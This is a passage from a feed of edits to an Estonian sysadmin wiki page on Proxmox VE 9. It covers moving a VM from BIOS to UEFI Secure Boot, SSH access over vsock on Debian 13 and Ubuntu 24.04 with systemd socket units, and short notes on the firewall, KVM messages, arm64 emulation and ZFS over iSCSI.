      118      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/BOOTX64.CSV&lt;br /&gt;
      119      4 -rwxr-xr-x   1 root     root          112 mai   17 12:00 /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# cat /boot/efi/EFI/BOOT/grub.cfg&lt;br /&gt;
search.fs_uuid 5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1 root&lt;br /&gt;
set prefix=($root)'/grub'&lt;br /&gt;
configfile $prefix/grub.cfg&lt;br /&gt;
&lt;br /&gt;
# blkid /dev/vda1&lt;br /&gt;
/dev/vda1: UUID=&amp;quot;5ebbc6f0-69e8-413b-bb4f-4ec0fa5d2fc1&amp;quot; BLOCK_SIZE=&amp;quot;1024&amp;quot; TYPE=&amp;quot;ext4&amp;quot; PARTUUID=&amp;quot;cfa36d3a-01&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Õeldakse virtuaalsele arvutile poweroff ja muudetakse seadistusi&lt;br /&gt;
&lt;br /&gt;
* lisatakse 'EFI Disk' (virtuaalne efi riistvara seadistuste salvestamine jms)&lt;br /&gt;
* muudetakse bios -&amp;gt; uefi&lt;br /&gt;
* muudetakse chipset i440fx -&amp;gt; q35&lt;br /&gt;
* muudetakse display default -&amp;gt; virtio-gpu&lt;br /&gt;
&lt;br /&gt;
Peale muudatust paistab virtuaalne arvuti selline&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-02.png|700px]]&lt;br /&gt;
&lt;br /&gt;
Lisaks on boot järjekorra seadmed muudetud&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-03.png|700px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tingimata vajalik on virtio1 ja virtio0 - esimesel on bootload ja grub.cfg lühike konf, teisel on konfi sisuline osa&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab arvuti uefi secure boot režiimis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# mokutil --sb-state&lt;br /&gt;
SecureBoot enabled&lt;br /&gt;
&lt;br /&gt;
# df -t vfat -t ext4 -T -h&lt;br /&gt;
Failisüsteem                      Tüüp  Maht Kasut  Vaba Kas% Haagitud&lt;br /&gt;
/dev/mapper/system-root           ext4   11G  8,2G  2,2G  80% /&lt;br /&gt;
/dev/vda1                         ext4  462M  325M  109M  75% /boot&lt;br /&gt;
/dev/vdb1                         vfat 1020M  8,7M 1012M   1% /boot/efi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kõige lõpus võiks veel öelda, nii tekivad nö naturaalsed efibootmgr ja /boot/efi sissekanded nagu nad oleks seal nö sündinud-uefi'na arvutil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
&lt;br /&gt;
# grub-install /dev/vdb&lt;br /&gt;
Installing for x86_64-efi platform.&lt;br /&gt;
Installation finished. No error reported.&lt;br /&gt;
&lt;br /&gt;
# efibootmgr&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0004,0002,0003,0000,0001&lt;br /&gt;
Boot0000* BootManagerMenuApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(eec25bdc-67f2-4d95-b1d5-f81b2039d11d)&lt;br /&gt;
Boot0001* EFI Firmware Setup	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0002* UEFI Misc Device	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xb,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0003* UEFI Misc Device 2	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0xa,0x0){auto_created_boot_option}&lt;br /&gt;
Boot0004* debian	HD(1,GPT,0fb8cfd1-c90b-4da2-97db-ceda14464a90,0x800,0x1ff000)/File(\EFI\proxmox\shimx64.efi)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Boot Order märkused====&lt;br /&gt;
&lt;br /&gt;
PVE webgui Boot Order määrab kaks&lt;br /&gt;
&lt;br /&gt;
* millised plokkseadmed osalevad uefi faasis&lt;br /&gt;
* millised järjekorras plokkseadmed osalevad uefi faasis alglaadimisel&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult üks seade&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-05.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Kui on linnutatud ainult kaks seadet&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260516-from-bios-to-uefi-04.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Antud juhul on see väga oluline kuna grub alglaadur on kahel seadmel laiali&lt;br /&gt;
&lt;br /&gt;
* grub.efi rakendus asub /dev/vdb&lt;br /&gt;
* grub.conf seadistus asub /dev/vda&lt;br /&gt;
&lt;br /&gt;
Kui Boot Order on linnutatud vaid /dev/vda, siis peatub arvuti käivitumine 'grub&amp;gt;' prompt juures. Selles mõttes võiks olla PVE webgui osakonna nimeks nt 'UEFI device visibility and Boot Order'.&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 26.04 ja Debian v. 13===&lt;br /&gt;
&lt;br /&gt;
Osutub, et uuemal ajal, st PVE v. 9, Debian v. 13 virtuaalne avuti on võimalik PVE host pealt pöörduda guest poole üle ssh kasutades vsock protokolli (mitte tavalist tcp/ip protokollil põhinevat võrku). Selleks tuleb virtuaalsele arvutile lisada PVE platvormi poolt vsock tugi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# head -n 1 /etc/pve/qemu-server/50056.conf&lt;br /&gt;
args: -device vhost-vsock-pci,guest-cid=50056&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja virtuaalsel arvutil peab olema tarkvaraline vsock tugi. Nt Debian v. 13 puhul on sshd serverisse see integreeritud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl | grep ssh&lt;br /&gt;
  ssh.service                                                                                           loaded active running   OpenBSD Secure Shell server&lt;br /&gt;
  sshd@2-50056:22-2:3327097365.service                                                                  loaded active running   OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097364)&lt;br /&gt;
  system-sshd.slice                                                                                     loaded active active    Slice /system/sshd&lt;br /&gt;
  sshd-unix-local.socket                                                                                loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local)&lt;br /&gt;
  sshd-vsock.socket                                                                                     loaded active listening OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK)&lt;br /&gt;
  ssh-access.target                                                                                     loaded active active    SSH Access Available&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd-ssh-generator on selline süsteem, mis käigult avastab süsteemi võimekusi ja vastavalt seadistab teenustele omadusi (nt ssh puhul lülitatakse sisse vsock tugi)&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# systemctl status sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
● sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365)&lt;br /&gt;
     Loaded: loaded (/usr/lib/systemd/system/sshd@.service; static)&lt;br /&gt;
     Active: active (running) since Mon 2026-06-01 00:04:39 EEST; 16s ago&lt;br /&gt;
 Invocation: 84acdad56690460e8e0fbffd2ecd4d69&lt;br /&gt;
TriggeredBy: ● sshd-vsock.socket&lt;br /&gt;
       Docs: man:sshd(8)&lt;br /&gt;
             man:sshd_config(5)&lt;br /&gt;
   Main PID: 876 (sshd-session)&lt;br /&gt;
      Tasks: 1 (limit: 6978)&lt;br /&gt;
     Memory: 1.8M (peak: 3.9M)&lt;br /&gt;
        CPU: 27ms&lt;br /&gt;
     CGroup: /system.slice/system-sshd.slice/sshd@2-50056:22-2:3327097365.service&lt;br /&gt;
             ‣ 876 &amp;quot;sshd-session: root [priv]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Jun 01 00:04:39 unifi-oss systemd[1]: Started sshd@2-50056:22-2:3327097365.service - OpenBSD Secure Shell server per-connection daemon (vsock:2:3327097365).&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: Accepted publickey for root from UNKNOWN port 65535 ssh2: ED25519 SHA256:3cj7QCk4leNOSQJlfeUeHr6YfsA0r3bRUqZS9Rey3jM&lt;br /&gt;
Jun 01 00:04:40 unifi-oss sshd-session[876]: pam_unix(sshd:session): session opened for user root(uid=0) by root(uid=0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* triggered by 'sshd-vsock.socket'&lt;br /&gt;
&lt;br /&gt;
ssh kliendi st pve host poolel peab olema teadmine, kuidas käituda kui üritatakse kasutada vsock protokolli üle sshd serverit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# cat /lib/systemd/ssh_config.d/20-systemd-ssh-proxy.conf&lt;br /&gt;
# SPDX-License-Identifier: LGPL-2.1-or-later&lt;br /&gt;
#&lt;br /&gt;
# Allow connecting to the local host directly via &amp;quot;.host&amp;quot;&lt;br /&gt;
Host .host machine/.host&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy unix/run/ssh-unix-local/socket %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
# Make sure unix/* and vsock/* can be used to connect to AF_UNIX and AF_VSOCK paths.&lt;br /&gt;
# Make sure machine/* can be used to connect to local machines registered in machined.&lt;br /&gt;
#&lt;br /&gt;
Host unix/* vsock/* machine/*&lt;br /&gt;
        ProxyCommand /usr/lib/systemd/systemd-ssh-proxy %h %p&lt;br /&gt;
        ProxyUseFdpass yes&lt;br /&gt;
        CheckHostIP no&lt;br /&gt;
&lt;br /&gt;
        # Disable all kinds of host identity checks, since these addresses are generally ephemeral.&lt;br /&gt;
        StrictHostKeyChecking no&lt;br /&gt;
        UserKnownHostsFile /dev/null&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tuleb kasutada 'man systemd-ssh-proxy' utiliiti&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# ssh root@vsock/50056&lt;br /&gt;
Warning: Permanently added 'vsock/50056' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Sun May 31 23:53:37 2026 from 192.168.10.156&lt;br /&gt;
root@unifi-oss:~#&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 23:59:55 up 6 min,  2 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/1    -                23:59    1.00s  0.00s   ?    w&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* vsock kaudu lähenemise puhul on iseloomulik 'FROM -' (tavaliselt on seal src ip aadress)&lt;br /&gt;
&lt;br /&gt;
Peale kasutaja sisselogimist paistab&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ss -a -p --vsock&lt;br /&gt;
Netid    State     Recv-Q    Send-Q       Local Address:Port       Peer Address:Port         Process&lt;br /&gt;
v_str    LISTEN    0         0                        *:22                    *:*             users:((&amp;quot;systemd&amp;quot;,pid=1,fd=66))&lt;br /&gt;
v_str    ESTAB     0         0                    50056:22                    2:3327097366    users:((&amp;quot;sshd-session&amp;quot;,pid=914,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=914,fd=6),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=6),(&amp;quot;systemd&amp;quot;,pid=1,fd=8))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* af_vsock osakonnas on sarnasel af_inet osakonnale ka listen socket ning 'active connected socket'&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal on ssh agar kuulama ka af_unix soketil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# screendump | grep -i ssh&lt;br /&gt;
[  OK  ] Listening on sshd-unix-local.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local).&lt;br /&gt;
[  OK  ] Listening on sshd-vsock.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK).&lt;br /&gt;
[  OK  ] Reached target ssh-access.target - SSH Access Available.&lt;br /&gt;
         Starting ssh.service - OpenBSD Secure Shell server...&lt;br /&gt;
[  OK  ] Started ssh.service - OpenBSD Secure Shell server.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja tõesti, lokaalselt saab arvutisse logida sisse nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
Warning: Permanently added 'unix/run/ssh-unix-local/socket' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Mon Jun  1 00:16:42 2026 from UNKNOWN&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 00:16:44 up 23 min,  3 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/2    -                00:16    1.00s  0.00s   ?    w&lt;br /&gt;
root     pts/1    -                00:16    2.00s  0.00s   ?    ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.auul.pri.ee/wiki/Linux_operatsioonis%C3%BCsteemis_t%C3%B6%C3%B6tab_v%C3%B5rgu%C3%BChendus#systemd_kasutamine_network-proxy_rollis&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 24.04 ja Debian v. 12===&lt;br /&gt;
&lt;br /&gt;
Ettevalmistavalt tuleb 22/tcp seadistada käima ainult konkreetselt ip aadressil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# grep ^Liste /etc/ssh/sshd_config&lt;br /&gt;
ListenAddress 192.168.10.194&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# systemctl status ssh.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures vastav systemd ssh listen osakond jääb nagu on, 0.0.0.0 peale&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# grep ^Lis /usr/lib/systemd/system/ssh.socket&lt;br /&gt;
ListenStream=0.0.0.0:22&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* väidetavalt on see vajalik mingi sistemise systemd/ssh jne loogika toimimiseks.&lt;br /&gt;
&lt;br /&gt;
ja laadida kerneli moodul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# modprobe vmw_vsock_virtio_transport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ubuntu 24.04 keskkonnas on tehniliselt kõik vajalik vsock kasutamiseks olemas, tuleb lisada kaks system elementi&lt;br /&gt;
&lt;br /&gt;
* sshd-vsock.socket - õpetab systemd pid=1 protsessile kuulama võrgus 22/vsock pordil&lt;br /&gt;
* sshd-vsock@.service - õpetab 22/vsock pordile sissetuleva pöördumist üleandmist sshd protsessile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ls -ld /etc/systemd/system/sshd-vsock*&lt;br /&gt;
-rw-r--r-- 1 root root 380 Jun 20 15:38 /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
-rw-r--r-- 1 root root 265 Jun 20 13:33 /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket (AF_VSOCK Network-Independent Line)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
# Notice: No &amp;quot;Conflicts=&amp;quot; or &amp;quot;Before=&amp;quot; entries are needed here!&lt;br /&gt;
&lt;br /&gt;
[Socket]&lt;br /&gt;
ListenStream=vsock::22&lt;br /&gt;
Accept=yes&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket Per-Connection Daemon (VSOCK Backup)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
After=auditd.service&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
# The -i flag forces sshd to run in &amp;quot;inetd&amp;quot; mode to accept the raw systemd socket&lt;br /&gt;
ExecStart=-/usr/sbin/sshd -i $SSHD_OPTS&lt;br /&gt;
StandardInput=socket&lt;br /&gt;
RuntimeDirectory=sshd&lt;br /&gt;
RuntimeDirectoryMode=0755&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl daemon-reload&lt;br /&gt;
root@zabbix-pub-01:~# systemctl enable --now sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena kuulatakse 22/vsock peal&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl list-sockets | grep ssh&lt;br /&gt;
192.168.10.194:22                     ssh.socket                      ssh.service&lt;br /&gt;
vsock::22                             sshd-vsock.socket               -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# ssh root@vsock/50194&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Proxmox VE Firewall===&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Probleeme tekitada võiv kombinatsioon, vältida&lt;br /&gt;
&lt;br /&gt;
* Hardware -&amp;gt; network device -&amp;gt; Firewall - Enable&lt;br /&gt;
* Firewall -&amp;gt; Option - No&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://pve.proxmox.com/pve-docs-7/chapter-pve-firewall.html&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
Tundub, et pve 9 ja qemu 11 kandis on hakanud ilmuma 'x86_64 v2 aes' virtuaalse protsessori kasutamisel sellised teated, nt 'host' protsessoriga neid ei ole&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveversion&lt;br /&gt;
pve-manager/9.2.3/d0fde103346cf89a (running kernel: 7.0.6-2-pve)&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# dmesg | grep WRMSR | tail -n 4&lt;br /&gt;
[30021.694536] kvm: kvm [323176]: vcpu0, guest rIP: 0xffffffffb807e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30090.614209] kvm: kvm [324048]: vcpu0, guest rIP: 0xffffffff84e6d9b4 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30308.798770] kvm: kvm [326811]: vcpu0, guest rIP: 0xffffffff8d67e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[180421.745980] kvm: kvm [3632532]: vcpu0, guest rIP: 0xffffffff81242297 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===arm64 platvormi emuleerimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et PVE v. 9.2 juures ilmub webgui peale vcpu valik 'arm (64-bit)'&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260614-pve-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tulemusena ta töötab, aga väga nö rahulikult&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# apt-get install pve-edk2-firmware-aarch6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4257</id>
		<title>Proxmox v. 9 kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4257"/>
		<updated>2026-06-20T17:00:03Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Üle vsock ssh kasutamine - Ubuntu 24.04 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Virtuaalne riistvara===&lt;br /&gt;
&lt;br /&gt;
Klaviatuur ja hiir&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systool -b serio&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# systool -b serio -v&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio0&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 KBD port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    err_count           = &amp;quot;0&amp;quot;&lt;br /&gt;
    extra               = &amp;quot;0&amp;quot;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0303&amp;quot;&lt;br /&gt;
    force_release       = &amp;quot;369-370&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty06pr00id00ex00&amp;quot;&lt;br /&gt;
    scroll              = &amp;quot;0&amp;quot;&lt;br /&gt;
    set                 = &amp;quot;2&amp;quot;&lt;br /&gt;
    softraw             = &amp;quot;1&amp;quot;&lt;br /&gt;
    softrepeat          = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=atkbd&lt;br /&gt;
SERIO_TYPE=06&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty06pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0303&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio1&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 AUX port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0f13&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty01pr00id00ex00&amp;quot;&lt;br /&gt;
    protocol            = &amp;quot;VirtualPS/2&amp;quot;&lt;br /&gt;
    rate                = &amp;quot;100&amp;quot;&lt;br /&gt;
    resetafter          = &amp;quot;5&amp;quot;&lt;br /&gt;
    resolution          = &amp;quot;200&amp;quot;&lt;br /&gt;
    resync_time         = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=psmouse&lt;br /&gt;
SERIO_TYPE=01&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty01pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0f13&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===remote zfs over iscsi===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* FUA (Forced Unit Access) - &lt;br /&gt;
* WCE (Write Cache Enable) -&lt;br /&gt;
* TPU (Thin Provisioning UNMAP) - &lt;br /&gt;
* TPWS (WRITE_SAME / Zeroing) -&lt;br /&gt;
* VFS (virtual file system) -&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Virtuaalse arvuti vaatest andmetega tegelemine&lt;br /&gt;
&lt;br /&gt;
 pve virtuaalne arvuti -&amp;gt; pve füüsiline arvuti -&amp;gt; over-iscsi-zfs-storage-server&lt;br /&gt;
&lt;br /&gt;
Sõltuvalt qemu virtuaalse arvuti virtuaalse plokkseadme 'Cache' seadistustest on võimalik erinevate cache komplektide-kombinatsioonide kasutamine andmete liikumisel virtuaalses arvutis töötava protsessi juurest zfs storage serveri füüsilisele plokkseadmele. Tundub, et 2025 aastal on kõige keskmisemale kasutusele sobiv valik 'Cache: nocache'&lt;br /&gt;
&lt;br /&gt;
